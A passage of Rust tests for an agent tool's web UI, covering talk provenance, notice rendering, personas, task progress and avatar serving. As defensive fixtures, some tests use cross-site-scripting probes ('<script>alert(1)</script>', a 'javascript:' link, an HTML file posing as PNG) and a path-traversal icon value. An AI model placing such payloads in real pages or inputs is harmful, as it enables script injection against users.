12167 let mut closed = talks.get(&id).expect("reload");
12168 talk::close(&mut closed, &talks).expect("close");
12169 let e = call(2).await.expect_err("closed talk");
12170 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
12171 assert!(e.message.contains("takes no more turns"), "{}", e.message);
12172 }
12173
12174 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
12176 let tmp = TempDir::new().expect("tempdir");
12177 let repo = tmp.path().join("repo");
12178 std::fs::create_dir_all(&repo).expect("repo dir");
12179 std::fs::write(
12180 repo.join("magi.toml"),
12181 format!("{MOCK_AGENT_TOML}\n{extra}"),
12182 )
12183 .expect("write magi.toml");
12184 let home = TempDir::new().expect("temp home");
12185 let talks = Talks::at(home.path().join("talks"));
12186 let ui = Arc::new(
12187 Ui::new(
12188 Queue::at(home.path().join("queue")),
12189 Questions::at(home.path().join("questions")),
12190 talks.clone(),
12191 home.path().join("runs"),
12192 home.path().to_path_buf(),
12193 repo.clone(),
12194 )
12195 .with_worktrees_root(home.path().join("wt")),
12196 );
12197 let cfg = config_for(&repo).await.expect("discover config");
12198 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12199 (tmp, home, ui, talk.id, repo)
12200 }
12201
12202 #[tokio::test]
12203 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
12204 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12205 let mut conversation = ui.talks.get(&id).unwrap();
12206 talk::record(
12207 &mut conversation,
12208 &ui.talks,
12209 "# Update on a task you filed\noperator words",
12210 vec![],
12211 )
12212 .unwrap();
12213 conversation.turns[0].sender = None;
12215 conversation.turns[0].messages.clear();
12216 ui.talks.put(&mut conversation).unwrap();
12217 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
12218 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
12219 talk::drain(&mut conversation, &ui.talks).unwrap();
12220 talk::record_reply(
12221 &mut conversation,
12222 &ui.talks,
12223 "about that report",
12224 vec![],
12225 Some(talk::ReplyTarget {
12226 turn: 1,
12227 message: 1,
12228 }),
12229 )
12230 .unwrap();
12231 conversation.turns[2].messages[0]
12232 .reply
12233 .as_mut()
12234 .unwrap()
12235 .sender = None;
12236 conversation.turns.push(talk::Turn {
12237 sender: Some(talk::Sender::Persona),
12238 who: talk::Who::Agent,
12239 body: "magi: actual persona words".into(),
12240 at: Timestamp::now(),
12241 attachments: vec![],
12242 usage: None,
12243 breaks: None,
12244 messages: vec![],
12245 posted_by: None,
12246 });
12247 ui.talks.put(&mut conversation).unwrap();
12248 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12249 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
12250 assert_eq!(
12251 view.talk.turns[1].messages[0].sender,
12252 Some(talk::Sender::Operator)
12253 );
12254 assert_eq!(
12255 view.talk.turns[1].messages[1].sender,
12256 Some(talk::Sender::Magi)
12257 );
12258 assert_eq!(
12259 view.talk.turns[2].messages[0]
12260 .reply
12261 .as_ref()
12262 .unwrap()
12263 .sender,
12264 Some(talk::Sender::Magi)
12265 );
12266 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
12267 assert_eq!(view.turn_messages_md[0].len(), 1);
12268 assert!(view.turn_messages_md[0][0].is_none());
12269 assert!(view.turn_messages_md[1][0].is_none());
12270 assert!(view.turn_messages_md[1][1].is_some());
12271 }
12272
12273 #[tokio::test]
12274 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
12275 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12276 let mut conversation = ui.talks.get(&id).unwrap();
12277 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
12278 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12279 talk::queue_notice(
12280 &mut conversation,
12281 &ui.talks,
12282 &body,
12283 "watch:123",
12284 &|_| false,
12285 None,
12286 display.clone(),
12287 )
12288 .unwrap();
12289 assert!(
12290 !talk::queue_notice(
12291 &mut conversation,
12292 &ui.talks,
12293 &body,
12294 "watch:123",
12295 &|_| false,
12296 None,
12297 display.clone()
12298 )
12299 .unwrap()
12300 );
12301 let saved = ui.talks.get(&id).unwrap();
12302 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
12303 let view = TalkView::with_config(saved, false, None, &ui.home);
12304 assert!(
12305 view.talk.turns[0].messages[0].display.is_none(),
12306 "operator copy stays literal"
12307 );
12308 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
12309 assert!(view.turn_messages_md[0][0].is_none());
12310 let queued_md = view.pending_messages_md[0].clone();
12311 assert_eq!(
12312 queued_md,
12313 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
12314 );
12315 talk::drain(&mut conversation, &ui.talks).unwrap();
12316 talk::record_reply(
12317 &mut conversation,
12318 &ui.talks,
12319 "Explain",
12320 vec![],
12321 Some(talk::ReplyTarget {
12322 turn: 1,
12323 message: 0,
12324 }),
12325 )
12326 .unwrap();
12327 let mut saved = ui.talks.get(&id).unwrap();
12328 assert_eq!(saved.turns[1].messages[0].body, body);
12329 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12330 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12331 assert!(!reply.excerpt.contains("automatic report"));
12332 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
12335 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12336 assert_eq!(view.turn_messages_md[1][0], queued_md);
12337 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12338 assert!(
12339 !view.talk.turns[2].messages[0]
12340 .reply
12341 .as_ref()
12342 .unwrap()
12343 .excerpt
12344 .contains("automatic report")
12345 );
12346 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12347 }
12348
12349 #[tokio::test]
12350 async fn consultation_display_hides_directives_in_queue_and_history() {
12351 for node in [
12352 "implement",
12353 crate::land::APPROVAL_NODE,
12354 crate::github_text::ASK_NODE,
12355 ] {
12356 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12357 let mut question = Question::new(
12358 "run-123".into(),
12359 node.into(),
12360 "seat-1".into(),
12361 "Which backend?".into(),
12362 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12363 vec!["SQLite".into(), "Redis".into()],
12364 );
12365 ui.questions.put(&mut question).unwrap();
12366 let body = crate::prompt::chat_consult(&question);
12367 let mut conversation = ui.talks.get(&id).unwrap();
12368 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12369 assert!(
12370 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12371 );
12372 conversation = ui.talks.get(&id).unwrap();
12373 assert_eq!(conversation.pending_messages[0].body, body);
12374 assert!(body.contains("magi answer"));
12375 let mut legacy_pending = conversation.clone();
12376 legacy_pending.pending_messages[0].display = None;
12377 let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
12378 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12379 assert!(legacy_md.contains("Question consultation"));
12380 assert!(!legacy_md.contains("magi answer"));
12381 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12382 assert!(
12383 view.turn_messages_md[0][0].is_none(),
12384 "operator copy stays literal"
12385 );
12386 let queued_md = view.pending_messages_md[0].clone().unwrap();
12387 let rendered = serde_json::to_string(&queued_md).unwrap();
12388 for visible in [
12389 "Which backend?",
12390 "Context",
12391 "storage",
12392 "SQLite",
12393 "Redis",
12394 "<script>literal</script>",
12395 ] {
12396 assert!(rendered.contains(visible), "missing {visible}");
12397 }
12398 for directive in [
12399 "What to do",
12400 "magi answer",
12401 "Never answer it yourself",
12402 "Do not edit the repository",
12403 ] {
12404 assert!(!rendered.contains(directive), "exposed {directive}");
12405 }
12406 assert_eq!(
12407 view.talk.pending_messages[0].display,
12408 Some(crate::prompt::chat_consult_display(&question))
12409 );
12410 talk::drain(&mut conversation, &ui.talks).unwrap();
12411 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12412 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12413 assert_eq!(conversation.turns[1].messages[0].body, body);
12414
12415 conversation.turns[1].messages[0].display = None;
12418 let view = TalkView::with_config(conversation, false, None, &ui.home);
12419 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12420 assert!(legacy.contains("Question consultation"));
12421 assert!(!legacy.contains("magi answer"));
12422 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12423 }
12424 }
12425
12426 #[test]
12427 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12428 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12429 let (body, mut display) =
12430 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12431 display.facts = facts.into();
12432 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12433 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12434 let json = serde_json::to_string(&nodes).unwrap();
12435 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12436 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12437 }
12438 assert!(json.contains("<script>alert(1)</script>"));
12439 assert!(!json.contains("javascript:"));
12440 assert!(!json.contains("Tell the operator"));
12441 assert!(!json.contains("untrusted"));
12442 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12443 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12444 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12445 assert_eq!(
12446 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12447 md::to_nodes("# Status", &md::ImageBase::None),
12448 );
12449 }
12450
12451 #[tokio::test]
12452 async fn notification_display_recovers_exact_legacy_completion_references() {
12453 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12454 let mut conversation = ui.talks.get(&id).unwrap();
12455 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12456 id: "task-123",
12457 title: "Change",
12458 status: "done",
12459 reason: None,
12460 run: Some("run-123"),
12461 pr: None,
12462 summary: Some("Merge state unknown"),
12463 });
12464 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12465 conversation.turns[0].sender = None;
12466 conversation.turns[0].messages.clear();
12467 conversation.turns[0].breaks = None;
12468 conversation.pending = body.clone();
12469 conversation
12470 .completion_notices
12471 .push(crate::chat_notify::CompletionReference {
12472 task: "task-123".into(),
12473 run: Some("run-123".into()),
12474 notice: body.clone(),
12475 });
12476 ui.talks.put(&mut conversation).unwrap();
12477 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12478 assert_eq!(
12479 view.talk.turns[0].messages[0].display,
12480 Some(display.clone())
12481 );
12482 assert_eq!(view.talk.pending_messages[0].display, Some(display));
12483 assert_eq!(
12484 view.talk.turns[0].messages[0].sender,
12485 Some(talk::Sender::Magi)
12486 );
12487 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12488 conversation.completion_notices[0]
12489 .notice
12490 .push_str("different");
12491 let view = TalkView::with_config(conversation, false, None, &ui.home);
12492 assert!(view.talk.turns[0].messages.is_empty());
12493 assert!(view.talk.pending_messages.is_empty());
12494 }
12495
12496 #[tokio::test]
12497 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
12498 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
12499 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12500 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12501 let _ = magi_icon_put(
12502 State(ui.clone()),
12503 Json(MagiIconUpload { icon: icon.into() }),
12504 )
12505 .await
12506 .unwrap();
12507 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12508 assert_ne!(original, changed);
12509 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12510 let response = magi_avatar(
12511 State(ui.clone()),
12512 Query(AvatarQuery {
12513 persona: None,
12514 builtin: None,
12515 }),
12516 )
12517 .await;
12518 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12519 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
12520 assert_eq!(
12521 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
12522 "nosniff"
12523 );
12524 for bad in [
12525 "data:image/png;base64,PGh0bWw+".to_owned(),
12526 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12527 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
12528 ] {
12529 assert!(save_magi_icon(home.path(), &bad).is_err());
12530 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12531 }
12532 let restarted = Arc::new(Ui::new(
12534 Queue::at(home.path().join("queue")),
12535 Questions::at(home.path().join("questions")),
12536 Talks::at(home.path().join("talks")),
12537 home.path().join("runs"),
12538 home.path().to_path_buf(),
12539 repo,
12540 ));
12541 assert_eq!(
12542 magi_icon_get(State(restarted.clone())).await.0["avatar"],
12543 changed
12544 );
12545 let view = TalkView::with_config(
12546 restarted.talks.get(&id).unwrap(),
12547 false,
12548 None,
12549 &restarted.home,
12550 );
12551 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
12552 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
12553 let response = magi_avatar(
12554 State(ui.clone()),
12555 Query(AvatarQuery {
12556 persona: None,
12557 builtin: None,
12558 }),
12559 )
12560 .await;
12561 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
12562 .await
12563 .unwrap();
12564 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
12565 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
12566 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
12567 let _ = magi_icon_delete(State(ui)).await.unwrap();
12568 }
12569
12570 async fn avatar(
12572 ui: &Arc<Ui>,
12573 id: &str,
12574 persona: Option<&str>,
12575 builtin: bool,
12576 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
12577 let res = talk_avatar(
12578 State(Arc::clone(ui)),
12579 Path(id.to_owned()),
12580 Query(AvatarQuery {
12581 persona: persona.map(str::to_owned),
12582 builtin: builtin.then(|| "1".to_owned()),
12583 }),
12584 )
12585 .await
12586 .expect("an avatar is never an error response");
12587 let h = res.headers();
12588 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
12589 let nosniff = h
12590 .get(header::X_CONTENT_TYPE_OPTIONS)
12591 .is_some_and(|v| v == "nosniff");
12592 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
12593 let status = res.status();
12594 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12595 .await
12596 .expect("body")
12597 .to_vec();
12598 (status, ct, nosniff, csp, body)
12599 }
12600
12601 fn tiny_png() -> Vec<u8> {
12602 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
12603 b.extend_from_slice(&[0u8; 32]);
12604 b
12605 }
12606
12607 #[tokio::test]
12608 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
12609 let res = operator_avatar().await;
12610 assert_eq!(res.status(), StatusCode::OK);
12611 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
12612 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
12613 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
12614 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
12615 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12616 .await
12617 .unwrap();
12618 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
12619 assert_ne!(
12620 persona_icon::operator_svg(),
12621 persona_icon::builtin_svg("default")
12622 );
12623 }
12624
12625 #[tokio::test]
12626 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
12627 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
12628 for p in [
12629 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
12630 ] {
12631 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
12632 assert_eq!(status, StatusCode::OK, "{p}");
12633 assert_eq!(ct, "image/svg+xml", "{p}");
12634 assert!(nosniff && csp, "{p}");
12635 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
12636 }
12637 let own = avatar(&ui, &id, None, false).await;
12639 let default = avatar(&ui, &id, Some("default"), false).await;
12640 assert_eq!(own.4, default.4);
12641 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
12642 assert_eq!(unknown.1, "image/svg+xml");
12643 }
12644
12645 #[tokio::test]
12646 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
12647 let dir = TempDir::new().expect("icons");
12648 let good = dir.path().join("good.png");
12649 std::fs::write(&good, tiny_png()).unwrap();
12650 let spoof = dir.path().join("spoof.png");
12651 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
12652 let big = dir.path().join("big.png");
12653 let mut bytes = tiny_png();
12654 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
12655 std::fs::write(&big, bytes).unwrap();
12656 let missing = dir.path().join("missing.png");
12657 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
12658 let extra = format!(
12659 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
12660 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
12661 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
12662 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
12663 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
12664 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
12665 uri(&good),
12666 uri(&spoof),
12667 uri(&big),
12668 uri(&missing),
12669 );
12670 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12671
12672 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
12673 assert_eq!(
12674 (status, ct.as_str(), nosniff),
12675 (StatusCode::OK, "image/png", true)
12676 );
12677 assert_eq!(body, tiny_png());
12678 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
12679 assert_eq!(ct, "image/png", "data URI");
12680
12681 for p in ["misato", "asuka", "shinji", "magi"] {
12682 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
12683 assert_eq!(
12684 (status, ct.as_str(), csp),
12685 (StatusCode::OK, "image/svg+xml", true),
12686 "{p}"
12687 );
12688 assert!(body.starts_with(b"<svg"), "{p}");
12689 }
12690 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
12692 assert_eq!(ct, "image/svg+xml");
12693 }
12694
12695 #[tokio::test]
12696 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
12697 let oversized = format!(
12698 "data:image/png;base64,{}",
12699 "A".repeat(persona_icon::ICON_MAX_BYTES)
12700 );
12701 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
12702 let extra = format!(
12703 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
12704 );
12705 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12706 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12707 .await
12708 .expect("detail with invalid icon");
12709 assert!(detail.personas.iter().any(|p| p.id == "custom"));
12710 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
12711 assert_eq!(status, StatusCode::OK);
12712 assert_eq!(ct, "image/svg+xml");
12713 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
12714 let Json(view) = talk_persona(
12715 State(Arc::clone(&ui)),
12716 Path(id.clone()),
12717 Json(TalkPersona {
12718 persona: "custom".into(),
12719 }),
12720 )
12721 .await
12722 .expect("persona switch with invalid icon");
12723 assert_eq!(view.talk.persona, "custom");
12724 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
12725 }
12726 }
12727
12728 #[tokio::test]
12729 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
12730 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12731 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
12732 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
12733 assert_eq!(
12734 (status, ct.as_str(), nosniff, csp),
12735 (StatusCode::OK, "image/svg+xml", true, true)
12736 );
12737 }
12738
12739 #[tokio::test]
12740 async fn the_talk_view_carries_server_built_avatar_urls_only() {
12741 let (_t, _h, ui, id, _repo) =
12742 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
12743 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12744 .await
12745 .expect("detail");
12746 let json = serde_json::to_string(&detail).unwrap();
12747 assert!(
12748 !json.contains("secret"),
12749 "the icon setting must not leak: {json}"
12750 );
12751 assert!(
12752 detail
12753 .view
12754 .persona_avatar
12755 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
12756 );
12757 assert_eq!(
12758 detail.view.operator_avatar,
12759 format!(
12760 "/avatars/operator.svg?v={}",
12761 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
12762 )
12763 );
12764 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
12765 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
12766 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
12767 assert!(rei.avatar.contains("persona=rei&v="));
12768 assert_ne!(
12769 rei.avatar.split("&v=").nth(1),
12770 plain.avatar.split("&v=").nth(1)
12771 );
12772 }
12773
12774 #[tokio::test]
12775 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
12776 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12777 let cfg = config_for(&repo).await.unwrap();
12778 for arrived in [false, true] {
12779 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
12780 let observed = ui.queued_generation(&id);
12781 let talk = ui.talks.get(&id).unwrap();
12782 if arrived {
12783 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
12784 }
12785 let mut settling = std::pin::pin!(settle_settings_turn(
12786 talk,
12787 ui.talks.clone(),
12788 cfg.clone(),
12789 id.clone(),
12790 turn,
12791 observed
12792 ));
12793 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
12794 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
12795 assert_eq!(first.is_pending(), arrived);
12796 if arrived {
12797 assert!(!settling.await);
12798 }
12799 assert!(!ui.is_thinking(&id));
12800 }
12801 }
12802
12803 #[tokio::test]
12804 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
12805 let tmp = TempDir::new().expect("tempdir");
12806 let repo = tmp.path().join("repo");
12807 std::fs::create_dir_all(&repo).expect("repo dir");
12808 std::fs::write(
12809 repo.join("magi.toml"),
12810 format!(
12811 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
12812 ),
12813 )
12814 .expect("write magi.toml");
12815 let home = TempDir::new().expect("temp home");
12816 let talks = Talks::at(home.path().join("talks"));
12817 let ui = Arc::new(
12818 Ui::new(
12819 Queue::at(home.path().join("queue")),
12820 Questions::at(home.path().join("questions")),
12821 talks.clone(),
12822 home.path().join("runs"),
12823 home.path().to_path_buf(),
12824 repo.clone(),
12825 )
12826 .with_worktrees_root(home.path().join("wt")),
12827 );
12828 let cfg = config_for(&repo).await.expect("discover config");
12829 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12830 let id = talk.id.clone();
12831 let call = |persona: &str| {
12832 talk_persona(
12833 State(Arc::clone(&ui)),
12834 Path(id.clone()),
12835 Json(TalkPersona {
12836 persona: persona.to_owned(),
12837 }),
12838 )
12839 };
12840
12841 let unknown = call("nobody").await.expect_err("unknown persona");
12842 assert_eq!(
12843 unknown.status,
12844 StatusCode::BAD_REQUEST,
12845 "{}",
12846 unknown.message
12847 );
12848
12849 {
12850 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12853 let busy = call("rei").await.expect_err("busy talk");
12854 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12855 assert!(
12856 busy.message.contains("a talk turn is running"),
12857 "{}",
12858 busy.message
12859 );
12860 drop(guard);
12861 }
12862 assert_eq!(talks.get(&id).expect("reload").persona, "");
12863
12864 let Json(view) = call("gendo").await.expect("switch to a configured persona");
12865 assert_eq!(view.talk.persona, "gendo");
12866 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
12867 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12868 for chosen in ["default", "gendo", "rei", "gendo"] {
12870 let Json(view) = call(chosen).await.expect("immediate consecutive change");
12871 assert!(!view.thinking);
12872 assert!(!ui.is_thinking(&id));
12873 }
12874
12875 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12876 .await
12877 .expect("detail");
12878 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
12879 assert_eq!(ids.first(), Some(&"default"));
12880 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
12881
12882 let Json(view) = call("default").await.expect("back to default");
12883 assert_eq!(view.talk.persona, "");
12884
12885 let mut closed = talks.get(&id).expect("reload");
12886 talk::close(&mut closed, &talks).expect("close");
12887 let refused = call("rei").await.expect_err("closed talk");
12888 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12889 assert!(
12890 refused.message.contains("takes no more turns"),
12891 "{}",
12892 refused.message
12893 );
12894 }
12895
12896 #[tokio::test]
12897 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
12898 let f = Fixture::start().await;
12899 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
12900 let queue = f.queue();
12901 let mut mine = Task::new(
12902 "rename the loader".to_owned(),
12903 "rename the loader".to_owned(),
12904 PathBuf::from("/repo/magi"),
12905 Source::Agent {
12906 run: talk_id.clone(),
12907 node: "chat".to_owned(),
12908 },
12909 );
12910 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
12911 assert_eq!(empty["task_progress"]["state"], "none");
12912 assert_eq!(empty["task_progress"]["total"], 0);
12913 queue.put(&mut mine).expect("file the task");
12914 let mut theirs = Task::new(
12915 "unrelated".to_owned(),
12916 "unrelated".to_owned(),
12917 PathBuf::from("/repo/magi"),
12918 Source::Human,
12919 );
12920 theirs.origin_chat = Some(talk_id.clone());
12922 queue.put(&mut theirs).expect("file the task");
12923
12924 let res = f.get(&format!("/api/talks/{talk_id}")).await;
12925 assert_eq!(res.status, 200, "{}", res.body);
12926 let body = res.json();
12927 assert_eq!(
12928 body["status"], "open",
12929 "filing a task does not close a talk"
12930 );
12931 let tasks = body["tasks"].as_array().expect("tasks array");
12932 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
12933 assert_eq!(tasks[0]["id"], mine.id);
12934 for status in [
12935 TaskStatus::Queued,
12936 TaskStatus::Running,
12937 TaskStatus::Held,
12938 TaskStatus::Failed,
12939 TaskStatus::Blocked,
12940 TaskStatus::Parked,
12941 TaskStatus::Done,
12942 TaskStatus::Queued,
12943 ] {
12944 mine.status = status;
12945 queue.put(&mut mine).expect("update status");
12946 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
12947 let progress = &detail["task_progress"];
12948 assert_eq!(progress["total"], 1);
12949 assert_eq!(progress["counts"][status.as_str()], 1);
12950 assert_eq!(detail["tasks"][0]["status"], status.as_str());
12951 assert_eq!(detail["status"], "open", "completion never closes the chat");
12952 if status == TaskStatus::Done {
12953 assert_eq!(progress["state"], "complete");
12954 assert_eq!(progress["done"], 1);
12955 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
12956 } else {
12957 assert_eq!(progress["state"], "incomplete");
12958 assert_eq!(progress["done"], 0);
12959 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
12960 }
12961 }
12962 }
12963
12964 #[test]
12965 fn talk_task_progress_counts_mixed_statuses() {
12966 let mut tasks: Vec<_> = [
12967 TaskStatus::Queued,
12968 TaskStatus::Running,
12969 TaskStatus::Held,
12970 TaskStatus::Failed,
12971 TaskStatus::Blocked,
12972 TaskStatus::Parked,
12973 TaskStatus::Done,
12974 ]
12975 .into_iter()
12976 .map(|status| {
12977 let mut task = Task::new(
12978 "task".into(),
12979 "task".into(),
12980 PathBuf::from("/repo"),
12981 Source::Human,
12982 );
12983 task.status = status;
12984 task
12985 })
12986 .collect();
12987 let progress = talk_task_progress(&tasks);
12988 assert_eq!(progress.state, "incomplete");
12989 assert_eq!(progress.total, 7);
12990 assert_eq!(progress.done, 1);
12991 assert_eq!(progress.unfinished_ids.len(), 6);
12992 assert!(progress.counts.values().all(|count| *count == 1));
12993 assert_eq!(
12994 progress.unfinished_ids,
12995 tasks[..6]
12996 .iter()
12997 .map(|task| task.id.clone())
12998 .collect::<Vec<_>>()
12999 );
13000
13001 for task in &mut tasks {
13002 task.status = TaskStatus::Done;
13003 }
13004 let complete = talk_task_progress(&tasks);
